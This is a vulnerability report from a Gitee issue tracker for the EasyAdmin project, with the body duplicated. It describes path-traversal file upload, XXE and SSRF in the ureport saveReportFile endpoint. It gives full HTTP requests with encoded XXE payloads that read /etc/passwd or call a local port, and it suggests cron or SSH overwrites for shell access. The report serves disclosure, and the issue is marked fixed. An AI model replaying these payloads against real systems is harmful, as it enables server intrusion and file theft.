Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
I know
View Details
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Web Development
>
Backend Management
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
162
Star
1.5K
Fork
552
laker
/
EasyAdmin
Code
Issues
3
Pull Requests
0
Wiki
Insights
Pipelines
Service
Gitee Pages
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
Don’t show this again
Update failed. Please try again later!
Issues
/
详情
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
File Upload, XXE and SSRF Vulnerability
Done
#I98ZTA
Southseast
Opened this issue
2024-03-15 21:40
The vulnerability is located at /ureport/designer/saveReportFile. Modify the value of the parameter 'file' to 'file%3A../../../../../../../../../tmp/3.ureport.jpg', and also modify the value of the parameter 'content'. ![1](https://foruda.gitee.com/images/1710509049156355932/3ca91b22_1686102.png "iShot_2024-03-15_21.23.37.png") Then you get an arbitrary file upload where any path can be specified. If permissions are sufficient, it's possible to overwrite SSH configurations or write to cron files to obtain shell access. ![2](https://foruda.gitee.com/images/1710509251972604152/b5087f21_1686102.png "iShot_2024-03-15_21.25.50.png") Similarly, this interface is vulnerable to XXE (XML External Entity) attacks. ```http POST /ureport/designer/saveReportFile HTTP/1.1 Host: localhost:8080 Content-Length: 709 sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ureport/designer Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: LakerToken=65eaf737809d40388d1496a54cbd98dd; JSESSIONID=7A1C74802604FE3FC60678DA99F06B3A Connection: close file=file%3A3.ureport.xml&content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20x%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%0A%3Cureport%3E%0A%20%20%20%20%3Ccell%20expand%3D%22None%22%20name%3D%22A1%22%20row%3D%221%22%20col%3D%221%22%3E%0A%20%20%20%20%20%20%20%20%3Ccell-style%20font-size%3D%2210%22%20align%3D%22center%22%20valign%3D%22middle%22%3E%3C%2Fcell-style%3E%0A%20%20%20%20%20%20%20%20%3Csimple-value%3E%26xxe%3B%3C%2Fsimple-value%3E%0A%20%20%20%20%3C%2Fcell%3E%0A%20%20%20%20%3Crow%20row-number%3D%221%22%20height%3D%22100%22%2F%3E%0A%20%20%20%20%3Ccolumn%20col-number%3D%221%22%20width%3D%22100%22%2F%3E%0A%3C%2Fureport%3E ``` ![3](https://foruda.gitee.com/images/1710509857790948066/a99020ae_1686102.png "iShot_2024-03-15_21.36.12.png") Additionally, SSRF (Server-Side Request Forgery) attacks are also possible. ```http POST /ureport/designer/saveReportFile HTTP/1.1 Host: localhost:8080 Content-Length: 709 sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ureport/designer Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: LakerToken=65eaf737809d40388d1496a54cbd98dd; JSESSIONID=7A1C74802604FE3FC60678DA99F06B3A Connection: close file=file%3A3.ureport.xml&content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20x%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2F127.0.0.1%3A7777%22%3E%5D%3E%0A%3Cureport%3E%0A%20%20%20%20%3Ccell%20expand%3D%22None%22%20name%3D%22A1%22%20row%3D%221%22%20col%3D%221%22%3E%0A%20%20%20%20%20%20%20%20%3Ccell-style%20font-size%3D%2210%22%20align%3D%22center%22%20valign%3D%22middle%22%3E%3C%2Fcell-style%3E%0A%20%20%20%20%20%20%20%20%3Csimple-value%3E%26xxe%3B%3C%2Fsimple-value%3E%0A%20%20%20%20%3C%2Fcell%3E%0A%20%20%20%20%3Crow%20row-number%3D%221%22%20height%3D%22100%22%2F%3E%0A%20%20%20%20%3Ccolumn%20col-number%3D%221%22%20width%3D%22100%22%2F%3E%0A%3C%2Fureport%3E ``` ![4](https://foruda.gitee.com/images/1710509967529032792/a2985166_1686102.png "iShot_2024-03-15_21.39.02.png")
The vulnerability is located at /ureport/designer/saveReportFile. Modify the value of the parameter 'file' to 'file%3A../../../../../../../../../tmp/3.ureport.jpg', and also modify the value of the parameter 'content'. ![1](https://foruda.gitee.com/images/1710509049156355932/3ca91b22_1686102.png "iShot_2024-03-15_21.23.37.png") Then you get an arbitrary file upload where any path can be specified. If permissions are sufficient, it's possible to overwrite SSH configurations or write to cron files to obtain shell access. ![2](https://foruda.gitee.com/images/1710509251972604152/b5087f21_1686102.png "iShot_2024-03-15_21.25.50.png") Similarly, this interface is vulnerable to XXE (XML External Entity) attacks. ```http POST /ureport/designer/saveReportFile HTTP/1.1 Host: localhost:8080 Content-Length: 709 sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ureport/designer Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: LakerToken=65eaf737809d40388d1496a54cbd98dd; JSESSIONID=7A1C74802604FE3FC60678DA99F06B3A Connection: close file=file%3A3.ureport.xml&content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20x%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%0A%3Cureport%3E%0A%20%20%20%20%3Ccell%20expand%3D%22None%22%20name%3D%22A1%22%20row%3D%221%22%20col%3D%221%22%3E%0A%20%20%20%20%20%20%20%20%3Ccell-style%20font-size%3D%2210%22%20align%3D%22center%22%20valign%3D%22middle%22%3E%3C%2Fcell-style%3E%0A%20%20%20%20%20%20%20%20%3Csimple-value%3E%26xxe%3B%3C%2Fsimple-value%3E%0A%20%20%20%20%3C%2Fcell%3E%0A%20%20%20%20%3Crow%20row-number%3D%221%22%20height%3D%22100%22%2F%3E%0A%20%20%20%20%3Ccolumn%20col-number%3D%221%22%20width%3D%22100%22%2F%3E%0A%3C%2Fureport%3E ``` ![3](https://foruda.gitee.com/images/1710509857790948066/a99020ae_1686102.png "iShot_2024-03-15_21.36.12.png") Additionally, SSRF (Server-Side Request Forgery) attacks are also possible. ```http POST /ureport/designer/saveReportFile HTTP/1.1 Host: localhost:8080 Content-Length: 709 sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ureport/designer Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: LakerToken=65eaf737809d40388d1496a54cbd98dd; JSESSIONID=7A1C74802604FE3FC60678DA99F06B3A Connection: close file=file%3A3.ureport.xml&content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20x%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2F127.0.0.1%3A7777%22%3E%5D%3E%0A%3Cureport%3E%0A%20%20%20%20%3Ccell%20expand%3D%22None%22%20name%3D%22A1%22%20row%3D%221%22%20col%3D%221%22%3E%0A%20%20%20%20%20%20%20%20%3Ccell-style%20font-size%3D%2210%22%20align%3D%22center%22%20valign%3D%22middle%22%3E%3C%2Fcell-style%3E%0A%20%20%20%20%20%20%20%20%3Csimple-value%3E%26xxe%3B%3C%2Fsimple-value%3E%0A%20%20%20%20%3C%2Fcell%3E%0A%20%20%20%20%3Crow%20row-number%3D%221%22%20height%3D%22100%22%2F%3E%0A%20%20%20%20%3Ccolumn%20col-number%3D%221%22%20width%3D%22100%22%2F%3E%0A%3C%2Fureport%3E ``` ![4](https://foruda.gitee.com/images/1710509967529032792/a2985166_1686102.png "iShot_2024-03-15_21.39.02.png")
Comments (
0
)
Southseast
created
任务
laker
link commit
lakernote/easy-admin Commit f6c0ad6
laker
changed
issue state
from
待办的
to
已完成
Expand operation logs
Collapse operation logs
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
No related branch
master
springboot3
springboot3+vue3
springboot3_bak
shardingjdbc
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
Java
1
https://gitee.com/lakernote/easy-admin.git
git@gitee.com:lakernote/easy-admin.git
lakernote
easy-admin
EasyAdmin
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register